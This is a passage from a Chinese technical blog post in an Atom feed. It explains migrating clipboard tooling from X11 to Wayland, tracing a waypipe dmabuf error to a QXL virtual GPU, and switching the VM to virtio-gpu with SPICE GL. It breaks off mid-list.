&lt;p&gt;本文三种形态至此全部闭环：客户端 Iris（固件&#x2F;重启）、两端 render 组权限、服务端 QXL 无渲染节点（迁移解决）。本机 waypipe 隧道可以去掉 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt; 了（已建立的隧道要重连才生效）。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>工具链迁移 Wayland：剪贴板踩坑与适配方案</title>
        <published>2026-08-09T13:12:21+08:00</published>
        <updated>2026-09-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/wayland-migration-toolchain/"/>
        <id>https://vercel.juzhong.asia/2026/08/wayland-migration-toolchain/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/wayland-migration-toolchain/">&lt;h2 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h2&gt;
&lt;p&gt;X11 时代复制粘贴很简单：&lt;code&gt;xclip&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;xsel&lt;&#x2F;code&gt; 全家桶，tmux、fzf、vim 里全是它们的影子。切到 Wayland 后，剪贴板不再由&quot;全局 X server&quot;统一管理，而是每个合成器（compositor）自己实现，工具链也得跟着换。&lt;&#x2F;p&gt;
&lt;p&gt;本文记录迁移到 Wayland 剪贴板工具链的完整踩坑过程与最终方案，包含一个容易误判的 waypipe 报错，以及虚拟机显卡升级（QXL → virtio-gpu 3D）的实测落地过程（2026-09-13，含 SPICE GL&#x2F;VNC 互斥等坑）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wayland-yu-x11-jian-tie-ban-de-chai-yi&quot;&gt;Wayland 与 X11 剪贴板的差异&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;X11 (xclip&#x2F;xsel)&lt;&#x2F;th&gt;&lt;th&gt;Wayland (wl-clipboard)&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;环境变量&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;DISPLAY&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt; + &lt;code&gt;XDG_RUNTIME_DIR&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;剪贴板&lt;&#x2F;td&gt;&lt;td&gt;一个全局剪贴板&lt;&#x2F;td&gt;&lt;td&gt;clipboard 与 primary selection &lt;strong&gt;分开&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;复制命令&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;xclip -selection clipboard&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;wl-copy&lt;&#x2F;code&gt;（clipboard）&#x2F; &lt;code&gt;wl-copy --primary&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;粘贴命令&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;xclip -o&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;wl-paste&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;常驻方式&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;-r&lt;&#x2F;code&gt; 保持存活&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;默认 fork 守护进程&lt;&#x2F;strong&gt;，持有数据直到被替换&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;回显管道&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;-f&lt;&#x2F;code&gt; 支持 stdin 原样回显&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;无回显选项&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;wayland-de-shuang-jian-tie-ban-clipboard-yu-primary-selection&quot;&gt;Wayland 的双剪贴板：clipboard 与 primary selection&lt;&#x2F;h3&gt;
&lt;p&gt;X11 有三个 selection（primary &#x2F; secondary &#x2F; clipboard），Wayland 只有两个：&lt;strong&gt;clipboard&lt;&#x2F;strong&gt; 和 &lt;strong&gt;primary selection&lt;&#x2F;strong&gt;，它们不是同一个协议的两种用法，而是&lt;strong&gt;两套机制几乎一样、语义完全不同的协议&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;xie-yi-ceng-mian&quot;&gt;协议层面&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;clipboard&lt;&#x2F;th&gt;&lt;th&gt;primary selection&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;协议&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;wl_data_device&lt;&#x2F;code&gt;（Wayland &lt;strong&gt;核心协议&lt;&#x2F;strong&gt;自带）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;wp_primary_selection&lt;&#x2F;code&gt;（&lt;strong&gt;独立扩展协议&lt;&#x2F;strong&gt;，2024 年才进 stable）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;触发方式&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;显式复制&lt;&#x2F;strong&gt;：Ctrl+C &#x2F; 右键复制 &#x2F; 应用内&quot;复制&quot;按钮&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;选中即复制&lt;&#x2F;strong&gt;：鼠标选中文本的瞬间，应用立刻设置 selection，没有&quot;复制&quot;这个动作&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;常用快捷键&lt;&#x2F;td&gt;&lt;td&gt;复制 &lt;code&gt;Ctrl+C&lt;&#x2F;code&gt;（终端 &lt;code&gt;Ctrl+Shift+C&lt;&#x2F;code&gt;）、剪切 &lt;code&gt;Ctrl+X&lt;&#x2F;code&gt;、粘贴 &lt;code&gt;Ctrl+V&lt;&#x2F;code&gt;（终端 &lt;code&gt;Ctrl+Shift+V&lt;&#x2F;code&gt;）；&lt;code&gt;Ctrl+Insert&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;Shift+Insert&lt;&#x2F;code&gt; 在多数场景也映射到 clipboard&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;没有复制快捷键&lt;&#x2F;strong&gt;（选中即复制）；粘贴是&lt;strong&gt;鼠标中键单击&lt;&#x2F;strong&gt;；&lt;code&gt;Shift+Insert&lt;&#x2F;code&gt; 在部分终端（xterm 系、foot）粘贴 primary&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;粘贴方式&lt;&#x2F;td&gt;&lt;td&gt;Ctrl+V &#x2F; 右键粘贴 &#x2F; &lt;code&gt;wl-paste&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;中键单击&lt;&#x2F;strong&gt;（终端&#x2F;编辑器里） &#x2F; &lt;code&gt;wl-paste --primary&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;生命周期&lt;&#x2F;td&gt;&lt;td&gt;持续到下一次复制或被显式清空&lt;&#x2F;td&gt;&lt;td&gt;下一次选中立刻被替换；多数合成器在&lt;strong&gt;焦点切换后清空&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;对应工具&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;wl-copy&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;wl-paste&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;wl-copy --primary&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;wl-paste --primary&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;易混点：&lt;code&gt;Shift+Insert&lt;&#x2F;code&gt; 的映射因终端而异——X11 传统（xterm）它粘贴 &lt;strong&gt;primary&lt;&#x2F;strong&gt;，GNOME Terminal 等则当作 clipboard 粘贴；Wayland 终端（如 foot）保留 X11 语义：&lt;code&gt;Shift+Insert&lt;&#x2F;code&gt; = primary，&lt;code&gt;Ctrl+Shift+V&lt;&#x2F;code&gt; = clipboard。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;lian-xi&quot;&gt;联系&lt;&#x2F;h4&gt;
&lt;p&gt;两套协议的实现结构完全同构：&lt;code&gt;data_source&lt;&#x2F;code&gt;（数据提供方）+ &lt;code&gt;data_offer&lt;&#x2F;code&gt;（数据接受方）+ &lt;code&gt;data_device&lt;&#x2F;code&gt;（会话对象），走同一套 &lt;strong&gt;MIME 类型协商&lt;&#x2F;strong&gt;机制。&lt;code&gt;wl-copy&lt;&#x2F;code&gt; 加不加 &lt;code&gt;--primary&lt;&#x2F;code&gt; 只是往哪套协议上挂 source。&lt;&#x2F;p&gt;
&lt;p&gt;部分合成器提供&quot;联动&quot;选项（比如选中文本时同步写入 clipboard），但那是合成器的额外实现，不是协议保证的行为——迁移时不要假设 Ctrl+C 和选中是同一个剪贴板。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wl-copy-gong-zuo-yuan-li-wei-shen-me-fu-zhi-gong-ju-bi-xu-chang-zhu&quot;&gt;wl-copy 工作原理：为什么复制工具必须常驻&lt;&#x2F;h3&gt;
&lt;p&gt;理解了这个机制，前面表格里&quot;daemon 常驻&quot;和&quot;管道挂死&quot;两个坑就都说得通了。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;duo-xing-chuan-shu-lazy-transfer&quot;&gt;惰性传输（lazy transfer）&lt;&#x2F;h4&gt;
&lt;p&gt;Wayland 剪贴板&lt;strong&gt;不是&quot;复制时把数据交给合成器&quot;&lt;&#x2F;strong&gt;，而是&quot;注册一个数据源，谁要粘贴谁自己来取&quot;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;复制方(wl-copy)                    合成器                      粘贴方(wl-paste)
     │ 创建 data_source               │                           │
     │ 声明 MIME(text&amp;#x2F;plain 等)        │                           │
     │ set_selection(source) ───────►│                           │
     │                                │── 收到 data_offer ───────►│
     │                                │◄───── receive(mime, fd) ──│
     │◄── send(mime, fd) 回调 ────────│                           │
     │ 把数据写进 fd ──────────────────────────────►               │
     │                                │                           │
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键点：&lt;strong&gt;数据在&quot;复制&quot;时刻并没有传输&lt;&#x2F;strong&gt;。合成器只记下&quot;当前剪贴板内容是哪个进程提供的&quot;。直到有人真的执行粘贴，合成器才会回调数据源进程的 &lt;code&gt;send()&lt;&#x2F;code&gt; 回调，把数据中转到粘贴方。&lt;&#x2F;p&gt;
&lt;p&gt;所以数据源进程（wl-copy 的守护进程）&lt;strong&gt;必须活着&lt;&#x2F;strong&gt;——它死了，合成器就只能给粘贴方一份空数据。xclip 常驻是同一个道理。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;wl-copy-de-zhi-xing-liu-cheng&quot;&gt;wl-copy 的执行流程&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;读入全部 stdin（或参数&#x2F;文件内容），按内容推断 MIME：UTF-8 纯文本 → &lt;code&gt;text&#x2F;plain;charset=utf-8&lt;&#x2F;code&gt;，含 NUL 字节&#x2F;非 UTF-8 → &lt;code&gt;application&#x2F;octet-stream&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;内容先落到临时缓冲（&lt;code&gt;&#x2F;tmp&#x2F;wl-copy-buffer-*&#x2F;&lt;&#x2F;code&gt; 目录 + memfd），大剪贴板（截图、视频帧）不会撑爆内存——实测守护进程的 fd 列表里能看到这个文件&lt;&#x2F;li&gt;
&lt;li&gt;连接合成器，创建 &lt;code&gt;wl_data_source&lt;&#x2F;code&gt;，声明 MIME&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;set_selection()&lt;&#x2F;code&gt; 提交 → &lt;strong&gt;fork 守护进程&lt;&#x2F;strong&gt;：父进程退出，子进程保持 wayland 连接，等待 &lt;code&gt;send()&lt;&#x2F;code&gt; 回调&lt;&#x2F;li&gt;
&lt;li&gt;每次有人粘贴，把缓冲里的数据写进合成器给的 fd；被新复制替换或收到 release 后退出&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;zhe-jie-shi-liao-liang-ge-keng&quot;&gt;这解释了两个坑&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;管道挂死&lt;&#x2F;strong&gt;：&lt;code&gt;printf x | wl-copy&lt;&#x2F;code&gt; 卡住——守护进程 fork 时继承了管道读端 fd，shell 等管道 EOF 永远等不到&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;异步报错&lt;&#x2F;strong&gt;：wl-copy&#x2F;waypipe 的很多错误是&quot;粘贴发生时&quot;才触发的（比如前文的 dmabuf 报错延迟 15~60 秒才出现），不是复制那一刻&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;guan-jian-chai-yi-yi-wl-copy-mei-you-f-hui-xian&quot;&gt;关键差异一：wl-copy 没有 &lt;code&gt;-f&lt;&#x2F;code&gt; 回显&lt;&#x2F;h3&gt;
&lt;p&gt;X11 时代的经典管道：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;xclip -i -f -selection primary | xclip -i -f -selection clipboard
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;xclip -f&lt;&#x2F;code&gt; 会把 stdin 原样回显到 stdout，所以可以串联多个 selection。wl-copy &lt;strong&gt;没有这个选项&lt;&#x2F;strong&gt;，&lt;code&gt;wl-copy | wl-copy --primary&lt;&#x2F;code&gt; 的第二段会读到空。&lt;&#x2F;p&gt;
&lt;p&gt;解法：先用临时文件接住数据，再分别喂给两个 wl-copy：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;f=$(mktemp &amp;#x2F;tmp&amp;#x2F;wlyank.XXXXXX)
cat &amp;gt;&amp;quot;$f&amp;quot;          # 接住 stdin
wl-copy &amp;lt;&amp;quot;$f&amp;quot;      # clipboard
wl-copy --primary &amp;lt;&amp;quot;$f&amp;quot;   # primary
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;guan-jian-chai-yi-er-daemon-chang-zhu-guan-dao-gua-si&quot;&gt;关键差异二：daemon 常驻 + 管道挂死&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;echo foo | wl-copy&lt;&#x2F;code&gt; 在脚本里没问题，但&lt;strong&gt;放到管道链尾部会挂住&lt;&#x2F;strong&gt;：wl-copy fork 出的守护进程继承了管道读端 fd，shell 等管道关闭时永远等不到。&lt;&#x2F;p&gt;
&lt;p&gt;实测：&lt;code&gt;printf x | wl-copy&lt;&#x2F;code&gt; 在 bash 里能卡 120 秒以上。所以 tmux 绑定里不要写成管道，用文件重定向最稳。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;guan-jian-chai-yi-san-mei-you-quan-ju-jian-tie-ban-zhi-you-socket&quot;&gt;关键差异三：没有全局剪贴板，只有 socket&lt;&#x2F;h3&gt;
&lt;p&gt;Wayland 客户端通过 &lt;code&gt;$XDG_RUNTIME_DIR&#x2F;$WAYLAND_DISPLAY&lt;&#x2F;code&gt; 这个 unix socket 连合成器。坑点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;tmux server 继承旧 socket&lt;&#x2F;strong&gt;：tmux server 是长驻进程，它启动时的 &lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt; 可能早已失效（会话退出、waypipe 重连后 socket 名都变了）。新 pane 继承 server 环境 → 复制直接报 &lt;code&gt;Failed to connect to a Wayland server&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;多个 socket 并存&lt;&#x2F;strong&gt;：SSH 多会话 + waypipe 隧道时，&lt;code&gt;&#x2F;run&#x2F;user&#x2F;$UID&#x2F;&lt;&#x2F;code&gt; 下可能同时躺着好几个 &lt;code&gt;wayland-*&lt;&#x2F;code&gt; socket，肉眼无法判断哪个有效。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;解法（wlyank.sh 运行时自愈）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# socket 失效时自动回退到最新可用 socket
if [ -n &amp;quot;${WAYLAND_DISPLAY:-}&amp;quot; ] &amp;amp;&amp;amp; [ ! -S &amp;quot;&amp;#x2F;run&amp;#x2F;user&amp;#x2F;$(id -u)&amp;#x2F;$WAYLAND_DISPLAY&amp;quot; ]; then
  export WAYLAND_DISPLAY=$(ls -t &amp;#x2F;run&amp;#x2F;user&amp;#x2F;$(id -u)&amp;#x2F;wayland-* 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | head -1 | xargs -r basename)
fi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yi-nan-bao-cuo-yi-dmabuf-cuo-wu-qi-shi-shi-waypipe-de&quot;&gt;疑难报错一：dmabuf 错误其实是 waypipe 的&lt;&#x2F;h2&gt;
&lt;p&gt;症状：tmux 消息行每隔一阵刷一条绿色报错：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$591700: 15.880863 [src&amp;#x2F;dmabuf.c:125] Failed to open drm fd for &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;renderD128: No such file or directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第一反应是 wl-copy 的错——查了 wl-clipboard 2.2.1 源码，&lt;strong&gt;根本没有 &lt;code&gt;dmabuf.c&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;。报错格式 &lt;code&gt;$pid: elapsed [src&#x2F;xxx.c:line]&lt;&#x2F;code&gt; 是 waypipe 的日志风格。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;看进程：机器上跑着 &lt;code&gt;waypipe ... --display wayland-n49YaBhs server&lt;&#x2F;code&gt;，&lt;code&gt;wayland-n49YaBhs&lt;&#x2F;code&gt; 正是 tmux 客户端在用的 socket——这个会话是&lt;strong&gt;经 waypipe 隧道转发&lt;&#x2F;strong&gt;的。&lt;&#x2F;li&gt;
&lt;li&gt;时间线吻合：waypipe 进程启动 60 秒后出现 &lt;code&gt;60.485827&lt;&#x2F;code&gt; 的报错，与每次复制&#x2F;粘贴的传输时机对得上。&lt;&#x2F;li&gt;
&lt;li&gt;根因：waypipe 在隧道间传缓冲区时优先走 &lt;strong&gt;GPU dmabuf 直传&lt;&#x2F;strong&gt;，但这台虚拟机是 QXL 显卡，&lt;code&gt;&#x2F;dev&#x2F;dri&lt;&#x2F;code&gt; 下没有渲染节点 &lt;code&gt;renderD128&lt;&#x2F;code&gt; → 每次传剪贴板都异步失败一次。&lt;&#x2F;li&gt;
&lt;li&gt;复制本身是成功的（waypipe&#x2F;wl-copy 会回退到共享内存拷贝），纯粹是噪音——但天天刷也烦。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;jie-jue&quot;&gt;解决&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;waypipe&lt;&#x2F;code&gt; 客户端加 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;waypipe --no-gpu ssh -t &amp;lt;server&amp;gt; &amp;#x27;env SUDO_ASKPASS=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;sudo-askpass sudo -A &amp;lt;command&amp;gt;&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;--no-gpu&lt;&#x2F;code&gt; 禁用 GPU 相关协议、改走共享内存拷贝。&lt;strong&gt;注意是客户端侧参数&lt;&#x2F;strong&gt;，而且当前已建立的隧道要重连才生效。&lt;&#x2F;p&gt;
&lt;p&gt;教训：报错文本里的源码路径 + pid 前缀是定位&lt;strong&gt;哪个程序&lt;&#x2F;strong&gt;在叫的关键证据，别被&quot;看起来像剪贴板错误&quot;带偏。先 &lt;code&gt;grep&lt;&#x2F;code&gt; 一下报错字符串属于哪个项目，再动手改。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tmux-jian-tie-ban-bang-ding-zui-zhong-xing-tai&quot;&gt;tmux 剪贴板绑定最终形态&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;tmux&quot; class=&quot;language-tmux &quot;&gt;&lt;code class=&quot;language-tmux&quot; data-lang=&quot;tmux&quot;&gt;# copy-mode 按 y：复制到 wayland clipboard
bind -T copy-mode-vi y send-keys -X copy-pipe-and-cancel &amp;#x27;wl-copy&amp;#x27;

# 鼠标拖拽：clipboard + primary + OSC52 兜底（ssh 远程无 wayland 时降级）
bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel wlyank.sh

# prefix + M：切换成纯 OSC52 模式（copy-pipe-no-clear，适合连续选区）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;wlyank.sh&lt;&#x2F;code&gt; 完整逻辑：接 stdin → 校验&#x2F;回退 WAYLAND_DISPLAY → &lt;code&gt;wl-copy&lt;&#x2F;code&gt; + &lt;code&gt;wl-copy --primary&lt;&#x2F;code&gt;（&lt;code&gt;2&amp;gt;&#x2F;dev&#x2F;null&lt;&#x2F;code&gt; 压掉连接噪音）→ &lt;code&gt;myyank.sh&lt;&#x2F;code&gt; 发 OSC52 兜底。&lt;&#x2F;p&gt;
&lt;p&gt;依赖关系也要理清：脚本放 &lt;code&gt;~&#x2F;.my_local&#x2F;bin&lt;&#x2F;code&gt;（整目录软链，自动部署），绑定放 &lt;code&gt;~&#x2F;.tmux.conf&lt;&#x2F;code&gt;，apt 依赖 &lt;code&gt;wl-clipboard&lt;&#x2F;code&gt; 在根 &lt;code&gt;run.sh&lt;&#x2F;code&gt; 的 &lt;code&gt;install_pre&lt;&#x2F;code&gt; 里——新环境 &lt;code&gt;bash run.sh default&lt;&#x2F;code&gt; 一键落地。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gen-zhi-fang-an-qxl-virtio-gpu-3d-2026-09-13-shi-ce-luo-di&quot;&gt;根治方案：QXL → virtio-gpu 3D（2026-09-13 实测落地）&lt;&#x2F;h2&gt;
&lt;p&gt;以上都是&quot;兼容性修补&quot;。想让 dmabuf 真正可用，得让虚拟机有渲染节点。2026-09-13 在 his-host 上实际完成，过程与三个坑记录如下。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yuan-li&quot;&gt;原理&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;QXL&lt;&#x2F;strong&gt;：纯显示卡，没有 3D 加速，不提供 &lt;code&gt;renderD128&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;virtio-gpu + virgl&lt;&#x2F;strong&gt;：虚拟 GPU 支持 3D 加速，guest 里出现 &lt;code&gt;&#x2F;dev&#x2F;dri&#x2F;renderD128&lt;&#x2F;code&gt;，dmabuf 直传可用（waypipe 也能开 GPU 传输了）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;cao-zuo-su-zhu-ji-shang&quot;&gt;操作（宿主机上）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh shutdown &amp;lt;vm&amp;gt;     # 显卡不能热改，必须关机（reboot 不够）
virsh edit &amp;lt;vm&amp;gt;         # 或 dumpxml 改完 virsh define
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;video 改成 virtio + 3D 加速：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;video&amp;gt;
  &amp;lt;model type=&amp;#x27;virtio&amp;#x27; heads=&amp;#x27;1&amp;#x27; primary=&amp;#x27;yes&amp;#x27;&amp;gt;
    &amp;lt;acceleration accel3d=&amp;#x27;yes&amp;#x27;&amp;#x2F;&amp;gt;
  &amp;lt;&amp;#x2F;model&amp;gt;
&amp;lt;&amp;#x2F;video&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;spice 侧打开 GL（必须，否则 accel3d 不生效）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;graphics type=&amp;#x27;spice&amp;#x27;&amp;gt;
  &amp;lt;listen type=&amp;#x27;socket&amp;#x27;&amp;#x2F;&amp;gt;
  &amp;lt;image compression=&amp;#x27;off&amp;#x27;&amp;#x2F;&amp;gt;
  &amp;lt;gl enable=&amp;#x27;yes&amp;#x27;&amp;#x2F;&amp;gt;
&amp;lt;&amp;#x2F;graphics&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（宿主必须有 render 节点；&lt;code&gt;rendernode&lt;&#x2F;code&gt; 由 libvirt 自动指向它并写进 QEMU 参数，不用手写。guest 内核需要 &lt;code&gt;virtio_gpu&lt;&#x2F;code&gt; 模块，主线内核默认有。）&lt;&#x2F;p&gt;
&lt;p&gt;启动后宿主机确认 QEMU 真的带上了 GL：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;-spice unix=on,addr=&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;qemu&amp;#x2F;domain-4-ubuntu.code&amp;#x2F;spice.sock,disable-ticketing=on,image-compression=off,gl=on,rendernode=&amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;renderD128,...
{&amp;quot;driver&amp;quot;:&amp;quot;virtio-vga-gl&amp;quot;,&amp;quot;id&amp;quot;:&amp;quot;video0&amp;quot;,...}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;guest 内验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;          # renderD128 出现
dmesg | grep -i virgl
# [drm] features: +virgl +edid -resource_blob -host_visible
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shi-ce-cai-dao-de-san-ge-keng&quot;&gt;实测踩到的三个坑&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GL 与 SPICE TCP 端口互斥&lt;&#x2F;strong&gt;。保留 &lt;code&gt;port=&#x27;5901&#x27; listen=&#x27;127.0.0.1&#x27;&lt;&#x2F;code&gt; 时 QEMU 拒绝启动：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;qemu-system-x86_64: SPICE GL support is local-only for now and incompatible with -spice port&amp;#x2F;tls-port
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;改成 &lt;code&gt;&amp;lt;listen type=&#x27;socket&#x27;&#x2F;&amp;gt;&lt;&#x2F;code&gt;（libvirt 自动生成 unix socket 路径）。virt-manager 本机连 socket 不受影响。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GL 与 VNC 互斥&lt;&#x2F;strong&gt;。留着 &lt;code&gt;&amp;lt;graphics type=&#x27;vnc&#x27;&amp;gt;&lt;&#x2F;code&gt; 时：&lt;&#x2F;p&gt;
